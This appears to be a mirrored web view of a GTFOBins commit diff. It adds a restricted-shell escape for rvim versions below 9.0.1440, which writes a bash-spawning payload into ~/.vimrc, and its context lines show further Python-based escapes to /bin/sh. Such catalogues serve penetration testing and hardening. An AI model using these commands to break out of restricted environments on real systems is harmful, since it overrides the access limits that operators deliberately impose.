mirror of
https://github.com/GTFOBins/GTFOBins.github.io.git
synced 2024-09-27 06:31:12 +02:00
Merge 1894142c8a
into 4eca50ea16
This commit is contained in:
commit
83ef773712
@ -1,6 +1,8 @@
|
||||
---
|
||||
functions:
|
||||
shell:
|
||||
- description: This requires that `rvim` version is `< 9.0.1440`.
|
||||
code: rvim -c ':redir! > ~/.vimrc | echo "!python3 -c \'import pty; pty.spawn(\"/bin/bash\")\'" | redir END | set shell=/usr/bin/vim | diffpatch'
|
||||
- description: This requires that `rvim` is compiled with Python support. Prepend `:py3` for Python 3.
|
||||
code: rvim -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
|
||||
- description: This requires that `rvim` is compiled with Lua support.
|
||||
|
Loading…
Reference in New Issue
Block a user